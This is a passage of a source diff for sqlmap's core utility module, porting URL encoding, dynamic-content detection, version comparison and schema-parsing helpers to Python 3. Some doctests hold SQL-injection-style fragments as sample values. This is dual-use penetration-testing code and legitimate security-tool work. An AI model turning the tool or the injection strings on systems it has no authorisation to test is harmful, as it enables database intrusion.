unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): """ URL decodes given value - >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) - u'AND 1>(2+3)#' + >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) == 'AND 1>(2+3)#' + True + >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' + True + >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' + True """ result = value if value: - try: - # for cases like T%C3%BCrk%C3%A7e - value = str(value) - except ValueError: - pass - finally: - if convall: - result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value) - else: - def _(match): - charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) - char = chr(ord(match.group(1).decode("hex"))) - return char if char in charset else match.group(0) - result = value - if plusspace: - result = result.replace("+", " ") # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) - result = re.sub("%([0-9a-fA-F]{2})", _, result) - - if isinstance(result, str): - result = unicode(result, encoding or UNICODE_ENCODING, "replace") + value = getUnicode(value) + + if convall: + result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) + else: + result = value + + def _(match): + char = decodeHex(match.group(1), binary=False) + return char if char not in unsafe else match.group(0) + + if spaceplus: + result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) + + result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "") + + result = getUnicode(result, encoding or UNICODE_ENCODING) return result @@ -2352,6 +3065,12 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): >>> urlencode('AND 1>(2+3)#') 'AND%201%3E%282%2B3%29%23' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0' + >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0") + 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0' + >>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'") + 'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27' """ if conf.get("direct"): @@ -2361,6 +3080,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): result = None if value is None else "" if value: + value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value) + if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): warnMsg = "if you experience problems with " warnMsg += "non-ASCII identifier names " @@ -2373,11 +3094,12 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): # corner case when character % really needs to be # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used - if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions: - value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value) + if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: + value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value) + value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: - result = urllib.quote(utf8encode(value), safe) + result = _urllib.parse.quote(getBytes(value), safe) if limit and len(result) > URLENCODE_CHAR_LIMIT: if count >= len(URLENCODE_FAILSAFE_CHARS): @@ -2392,7 +3114,9 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): break if spaceplus: - result = result.replace(urllib.quote(' '), '+') + result = result.replace(_urllib.parse.quote(' '), '+') + + result = result.replace(DOLLAR_MARKER, '$') return result @@ -2406,13 +3130,13 @@ def runningAsAdmin(): if PLATFORM in ("posix", "mac"): _ = os.geteuid() - isAdmin = isinstance(_, (int, float, long)) and _ == 0 + isAdmin = isinstance(_, (float, six.integer_types)) and _ == 0 elif IS_WIN: import ctypes _ = ctypes.windll.shell32.IsUserAnAdmin() - isAdmin = isinstance(_, (int, float, long)) and _ == 1 + isAdmin = isinstance(_, (float, six.integer_types)) and _ == 1 else: errMsg = "sqlmap is not able to check if you are running it " errMsg += "as an administrator account on this platform. " @@ -2425,40 +3149,48 @@ def runningAsAdmin(): return isAdmin -def logHTTPTraffic(requestLogMsg, responseLogMsg): +def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ Logs HTTP traffic to the output file """ - if not conf.trafficFile: - return + if conf.harFile: + conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) - with kb.locks.log: - dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) - dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) - dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) + if conf.trafficFile: + with kb.locks.log: + dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) + dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) + dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) -def getPageTemplate(payload, place): # Cross-linked function +def getPageTemplate(payload, place): # Cross-referenced function raise NotImplementedError +@cachedmethod def getPublicTypeMembers(type_, onlyValues=False): """ Useful for getting members from types (e.g. in enums) >>> [_ for _ in getPublicTypeMembers(OS, True)] ['Linux', 'Windows'] + >>> [_ for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True)] + [1, 2, 3, 4, 5, 6] """ + retVal = [] + for name, value in inspect.getmembers(type_): - if not name.startswith('__'): + if not name.startswith("__"): if not onlyValues: - yield (name, value) + retVal.append((name, value)) else: - yield value + retVal.append(value) + + return retVal def enumValueToNameLookup(type_, value_): """ - Returns name of a enum member with a given value + Returns name of an enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' @@ -2473,6 +3205,7 @@ def enumValueToNameLookup(type_, value_): return retVal +@cachedmethod def extractRegexResult(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given @@ -2480,11 +3213,16 @@ def extractRegexResult(regex, content, flags=0): >>> extractRegexResult(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' + >>> extractRegexResult(r'a(?P[^g]+)g', 'ABCDEFG', re.I) + 'BCDEF' """ retVal = None if regex and content and "?P" in regex: + if isinstance(content, six.binary_type) and isinstance(regex, six.text_type): + regex = getBytes(regex) + match = re.search(regex, content, flags) if match: @@ -2496,8 +3234,8 @@ def extractTextTagContent(page): """ Returns list containing content from "textual" tags - >>> extractTextTagContent(u'Title
foobar
Link') - [u'Title', u'foobar'] + >>> extractTextTagContent('Title
foobar
Link') + ['Title', 'foobar'] """ page = page or "" @@ -2508,14 +3246,53 @@ def extractTextTagContent(page): except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") - return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) + return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) + +def extractStructuralTokens(page): + """ + Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a + (HTML) page, discarding all textual content. Used for structure-aware page comparison when the + page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so + that dynamic text does not perturb the comparison while a structural change (e.g. a results + table appearing or disappearing) still does. HTML counterpart of jsonMinimize() + + >>> sorted(extractStructuralTokens(u'
x
')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span'] + True + >>> extractStructuralTokens(u'
[7\.0|2000|2005|2008|2008 R2]*(.*?)
1
') == set([u'tag:table', u'tag:tr', u'tag:td']) + True + >>> extractStructuralTokens(u'') == set() + True + """ + + page = page or "" + + if REFLECTED_VALUE_MARKER in page: + page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page) + + page = re.sub(r"(?si)||", " ", page) + + retVal = set() + + for match in re.finditer(STRUCTURAL_TAG_REGEX, page): + tag = match.group(1).lower() + attrs = match.group(2) or "" + retVal.add("tag:%s" % tag) + for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs): + for value in (_.group(1) or _.group(2) or _.group(3) or "").split(): + retVal.add("cls:%s.%s" % (tag, value)) + for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs): + value = (_.group(1) or _.group(2) or _.group(3) or "").strip() + if value: + retVal.add("id:%s#%s" % (tag, value)) + + return retVal def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value - >>> trimAlphaNum(u'AND 1>(2+3)-- foobar') - u' 1>(2+3)-- ' + >>> trimAlphaNum('AND 1>(2+3)-- foobar') + ' 1>(2+3)-- ' """ while value and value[-1].isalnum(): @@ -2538,11 +3315,29 @@ def isNumPosStrValue(value): False >>> isNumPosStrValue('-2') False + >>> isNumPosStrValue('100000000000000000000') + False """ - return (value and isinstance(value, basestring) and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) + retVal = False + + try: + retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + except ValueError: + pass + + return retVal + +# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a +# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum() +# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via +# setdefault in dict order preserves the original first-match-wins semantics. +_DBMS_ALIAS_MAP = {} +for _dbmsKey, _dbmsItem in DBMS_DICT.items(): + for _dbmsAlias in _dbmsItem[0]: + _DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey) + _DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey) -@cachedmethod def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias @@ -2551,36 +3346,45 @@ def aliasToDbmsEnum(dbms): 'Microsoft SQL Server' """ - retVal = None - - if dbms: - for key, item in DBMS_DICT.items(): - if dbms.lower() in item[0] or dbms.lower() == key.lower(): - retVal = key - break - - return retVal + return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None -def findDynamicContent(firstPage, secondPage): +def findDynamicContent(firstPage, secondPage, merge=False): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made + + Note: with merge=True the newly found markings are accumulated into the + existing ones (e.g. when refining across multiple original-page samples) + instead of replacing them + + >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") + >>> kb.dynamicMarkings + [('natum reque et per. ', 'Facer tritani repreh')] """ if not firstPage or not secondPage: return infoMsg = "searching for dynamic content" - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) - blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks() - kb.dynamicMarkings = [] + try: + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can blow up on pathological/oversized input (and, rarely, with + # interpreter-level errors under heavy threading); a failed dynamic-content + # search must degrade gracefully rather than abort the whole scan - mirrors the + # guard around the ratio computation in lib/request/comparison.py + return + + if not merge: + kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: (_, _, length) = block - if length <= DYNAMICITY_MARK_LENGTH: + if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH: blocks.remove(block) # Making of dynamic markings based on prefix/suffix principle @@ -2598,14 +3402,27 @@ def findDynamicContent(firstPage, secondPage): if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue - prefix = trimAlphaNum(prefix) - suffix = trimAlphaNum(suffix) + if prefix and suffix: + prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] + suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] + + for _ in (firstPage, secondPage): + match = re.search(r"(?s)%s(.+?)%s" % (re.escape(prefix), re.escape(suffix)), _) + if match: + infix = match.group(1) + if infix[0].isalnum(): + prefix = trimAlphaNum(prefix) + if infix[-1].isalnum(): + suffix = trimAlphaNum(suffix) + break - kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None)) + marking = (prefix if prefix else None, suffix if suffix else None) + if marking not in kb.dynamicMarkings: # Note: avoiding duplicates (e.g. when accumulating markings across samples) + kb.dynamicMarkings.append(marking) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) def removeDynamicContent(page): """ @@ -2620,11 +3437,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page) + page = re.sub(r"(?s)^.+?%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page) + page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) + page = re.sub(r"(?s)%s.+?%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page @@ -2633,8 +3450,8 @@ def filterStringValue(value, charRegex, replacement=""): Returns string value consisting only of chars satisfying supplied regular expression (note: it has to be in form [...]) - >>> filterStringValue(u'wzydeadbeef0123#', r'[0-9a-f]') - u'deadbeef0123' + >>> filterStringValue('wzydeadbeef0123#', r'[0-9a-f]') + 'deadbeef0123' """ retVal = value @@ -2644,87 +3461,202 @@ def filterStringValue(value, charRegex, replacement=""): return retVal -def filterControlChars(value): +def filterControlChars(value, replacement=' '): + """ + Returns string value with control chars being supstituted with replacement character + + >>> filterControlChars('AND 1>(2+3)\\n--') + 'AND 1>(2+3) --' + """ + + return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) + +def filterNone(values): """ - Returns string value with control chars being supstituted with ' ' + Emulates filterNone([...]) functionality - >>> filterControlChars(u'AND 1>(2+3)\\n--') - u'AND 1>(2+3) --' + >>> filterNone([1, 2, "", None, 3, 0]) + [1, 2, 3, 0] """ - return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ') + retVal = values + + if isinstance(values, _collections.Iterable): + retVal = [_ for _ in values if _ or _ == 0] + + return retVal -def isDBMSVersionAtLeast(version): +def isDBMSVersionAtLeast(minimum): """ - Checks if the recognized DBMS version is at least the version - specified + Checks if the recognized DBMS version is at least the version specified + + >>> pushValue(kb.dbmsVersion) + >>> kb.dbmsVersion = "2" + >>> isDBMSVersionAtLeast("1.3.4.1.4") + True + >>> isDBMSVersionAtLeast(2.1) + False + >>> isDBMSVersionAtLeast(">2") + False + >>> isDBMSVersionAtLeast(">=2.0") + True + >>> kb.dbmsVersion = "<2" + >>> isDBMSVersionAtLeast("2") + False + >>> isDBMSVersionAtLeast("1.5") + True + >>> kb.dbmsVersion = "MySQL 5.4.3-log4" + >>> isDBMSVersionAtLeast("5") + True + >>> kb.dbmsVersion = popValue() """ retVal = None - if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION: - value = Backend.getVersion().replace(" ", "").rstrip('.') + if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: + version = Backend.getVersion().replace(" ", "").rstrip('.') - while True: - index = value.find('.', value.find('.') + 1) + # Note: a fuzzy/ranged detected version (e.g. '>2', '<2') is captured as a sign so an + # otherwise-equal comparison still resolves in the right direction + vSign = 0 + if ">=" in version: + pass + elif '>' in version: + vSign = 1 + elif '<' in version: + vSign = -1 - if index > -1: - value = value[0:index] + value[index + 1:] - else: - break + version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) + + if version: + minimum = minimum if isinstance(minimum, six.string_types) else getUnicode(minimum) + + mSign = 0 + if minimum.startswith(">="): + pass + elif minimum.startswith(">"): + mSign = 1 - value = filterStringValue(value, '[0-9.><=]') + minimum = extractRegexResult(r"(?P[0-9][0-9.]*)", minimum) - if isinstance(value, basestring): - if value.startswith(">="): - value = float(value.replace(">=", "")) - elif value.startswith(">"): - value = float(value.replace(">", "")) + 0.01 - elif value.startswith("<="): - value = float(value.replace("<=", "")) - elif value.startswith(">"): - value = float(value.replace("<", "")) - 0.01 + if minimum: + # Note: compare dotted versions component-wise as int tuples, not as floats; a float + # collapses e.g. 5.4.3->5.43 and 5.10.0->5.100(==5.1), silently mis-ordering multi-part + # or multi-digit-minor versions (MariaDB 10.11, PostgreSQL 9.10, Presto 0.99 vs 0.178) + vParts = tuple(int(_) for _ in re.findall(r"\d+", version)) + mParts = tuple(int(_) for _ in re.findall(r"\d+", minimum)) + length = max(len(vParts), len(mParts)) + vParts += (0,) * (length - len(vParts)) + mParts += (0,) * (length - len(mParts)) - retVal = getUnicode(value) >= getUnicode(version) + retVal = (vParts, vSign) >= (mParts, mSign) return retVal def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema + + >>> kb.data.cachedColumns = {} + >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) + True """ + retVal = False + + value = extractRegexResult(r"(?s)\((?P.+)\)", value) + if value: table = {} - columns = {} + columns = OrderedDict() - for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|TEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): - columns[match.group(1)] = match.group(2) + value = re.sub(r"\(.+?\)", "", value).strip() - table[conf.tbl] = columns - kb.data.cachedColumns[conf.db] = table + for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + column = match.group(1).strip(match.group(2) or "") + if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): + continue + retVal = True + + columns[column] = match.group(3) or "TEXT" + + table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db].update(table) + else: + kb.data.cachedColumns[conf.db] = table + + return retVal def getTechniqueData(technique=None): """ Returns injection data for technique specified """ - return kb.injection.data.get(technique) + return kb.injection.data.get(technique if technique is not None else getTechnique()) def isTechniqueAvailable(technique): """ - Returns True if there is injection data which sqlmap could use for - technique specified + Returns True if there is injection data which sqlmap could use for technique specified + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.ERROR] = [test for test in getSortedInjectionTests() if "error" in test["title"].lower()][0] + >>> isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) + True + >>> kb.injection.data = popValue() """ - if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech: + if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique: return False else: return getTechniqueData(technique) is not None +def isHeavyQueryBased(technique=None): + """ + Returns True whether current (kb.)technique is heavy-query based + + >>> pushValue(kb.injection.data) + >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED) + >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0] + >>> isHeavyQueryBased() + True + >>> kb.injection.data = popValue() + """ + + retVal = False + + technique = technique or getTechnique() + + if isTechniqueAvailable(technique): + data = getTechniqueData(technique) + if data and "heavy query" in data["title"].lower(): + retVal = True + + return retVal + def isStackingAvailable(): """ Returns True whether techniques using stacking are available + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.STACKED] = [test for test in getSortedInjectionTests() if "stacked" in test["title"].lower()][0] + >>> isStackingAvailable() + True + >>> kb.injection.data = popValue() """ retVal = False @@ -2733,8 +3665,8 @@ def isStackingAvailable(): retVal = True else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): - _ = getTechniqueData(technique) - if _ and "stacked" in _["title"].lower(): + data = getTechniqueData(technique) + if data and "stacked" in data["title"].lower(): retVal = True break @@ -2743,6 +3675,12 @@ def isStackingAvailable(): def isInferenceAvailable(): """ Returns True whether techniques using inference technique are available + + >>> pushValue(kb.injection.data) + >>> kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = getSortedInjectionTests()[0] + >>> isInferenceAvailable() + True + >>> kb.injection.data = popValue() """ return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) @@ -2752,15 +3690,67 @@ def setOptimize(): Sets options turned on by switch '-o' """ - #conf.predictOutput = True - conf.keepAlive = True - conf.threads = 3 if conf.threads < 3 else conf.threads + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive + # inference is now an inherent, always-on part of blind name enumeration (no longer a switch) + conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: - debugMsg = "turning off --null-connection switch used indirectly by switch -o" + debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'" logger.debug(debugMsg) +def saveConfig(conf, filename): + """ + Saves conf to configuration filename + """ + + config = UnicodeRawConfigParser() + userOpts = {} + + for family in optDict: + userOpts[family] = [] + + for option, value in conf.items(): + for family, optionData in optDict.items(): + if option in optionData: + userOpts[family].append((option, value, optionData[option])) + + for family, optionData in userOpts.items(): + config.add_section(family) + + optionData.sort() + + for option, value, datatype in optionData: + if datatype and isListLike(datatype): + datatype = datatype[0] + + if option in IGNORE_SAVE_OPTIONS: + continue + + if value is None: + if datatype == OPTION_TYPE.BOOLEAN: + value = "False" + elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): + if option in defaults: + value = str(defaults[option]) + else: + value = '0' + elif datatype == OPTION_TYPE.STRING: + value = "" + + if isinstance(value, six.string_types): + value = value.replace("\n", "\n ") + + config.set(family, option, value) + + with openFile(filename, 'w') as f: + try: + config.write(f) + except IOError as ex: + errMsg = "something went wrong while trying " + errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) + def initTechnique(technique=None): """ Prepares data for technique specified @@ -2773,13 +3763,15 @@ def initTechnique(technique=None): if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio + kb.trueLength = data.get("trueLength") # NOTE: absent in sessions stored before the '--lengths' switch was introduced + kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) - debugMsg = "resuming configuration option '%s' (%s)" % (key, value) + debugMsg = "resuming configuration option '%s' (%s)" % (key, ("'%s'" % value) if isinstance(value, six.string_types) else value) logger.debug(debugMsg) if value and key == "optimize": @@ -2787,7 +3779,7 @@ def initTechnique(technique=None): else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) - logger.warn(warnMsg) + logger.warning(warnMsg) except SqlmapDataException: errMsg = "missing data in old session file(s). " @@ -2799,11 +3791,13 @@ def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself - >>> arrayizeValue(u'1') - [u'1'] + >>> arrayizeValue('1') + ['1'] """ - if not isListLike(value): + if isinstance(value, _collections.KeysView): + value = [_ for _ in value] + elif not isListLike(value): value = [value] return value @@ -2812,18 +3806,28 @@ def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself - >>> unArrayizeValue([u'1']) - u'1' + >>> unArrayizeValue(['1']) + '1' + >>> unArrayizeValue('1') + '1' + >>> unArrayizeValue(['1', '2']) + '1' + >>> unArrayizeValue([['a', 'b'], 'c']) + 'a' + >>> unArrayizeValue(_ for _ in xrange(10)) + 0 """ if isListLike(value): if not value: value = None - elif len(value) == 1 and not isListLike(value[0]): - value = value[0] + elif len(value) == 1 and not isListLike(next(iter(value))): # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable + value = next(iter(value)) else: - _ = filter(lambda _: _ is not None, (_ for _ in flattenValue(value))) - value = _[0] if len(_) > 0 else None + value = [_ for _ in flattenValue(value) if _ is not None] + value = value[0] if len(value) > 0 else None + elif inspect.isgenerator(value): + value = unArrayizeValue([_ for _ in value]) return value @@ -2831,8 +3835,8 @@ def flattenValue(value): """ Returns an iterator representing flat representation of a given value - >>> [_ for _ in flattenValue([[u'1'], [[u'2'], u'3']])] - [u'1', u'2', u'3'] + >>> [_ for _ in flattenValue([['1'], [['2'], '3']])] + ['1', '2', '3'] """ for i in iter(value): @@ -2842,22 +3846,46 @@ def flattenValue(value): else: yield i +def joinValue(value, delimiter=','): + """ + Returns a value consisting of joined parts of a given value + + >>> joinValue(['1', '2']) + '1,2' + >>> joinValue('1') + '1' + >>> joinValue(['1', None]) + '1,None' + """ + + if isListLike(value): + retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) + else: + retVal = value + + return retVal + def isListLike(value): """ Returns True if the given value is a list-like instance >>> isListLike([1, 2, 3]) True - >>> isListLike(u'2') + >>> isListLike('2') False """ - return isinstance(value, (list, tuple, set, BigArray)) + return isinstance(value, (list, tuple, set, OrderedSet, BigArray)) def getSortedInjectionTests(): """ - Returns prioritized test list by eventually detected DBMS from error - messages + Returns prioritized test list by eventually detected DBMS from error messages + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.SQLITE + >>> [test for test in getSortedInjectionTests() if hasattr(test, "details") and hasattr(test.details, "dbms")][0].details.dbms == kb.forcedDbms + True + >>> kb.forcedDbms = popValue() """ retVal = copy.deepcopy(conf.tests) @@ -2868,7 +3896,7 @@ def priorityFunction(test): if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST - elif 'details' in test and 'dbms' in test.details: + elif "details" in test and "dbms" in (test.details or {}): if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: @@ -2883,15 +3911,14 @@ def priorityFunction(test): def filterListValue(value, regex): """ - Returns list with items that have parts satisfying given regular - expression + Returns list with items that have parts satisfying given regular expression >>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)') ['users', 'admins'] """ if isinstance(value, list) and regex: - retVal = filter(lambda _: re.search(regex, _, re.I), value) + retVal = [_ for _ in value if re.search(regex, _, re.I)] else: retVal = value @@ -2904,37 +3931,57 @@ def showHttpErrorCodes(): if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" - warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \ - if code in httplib.responses else '?', count) \ - for code, count in 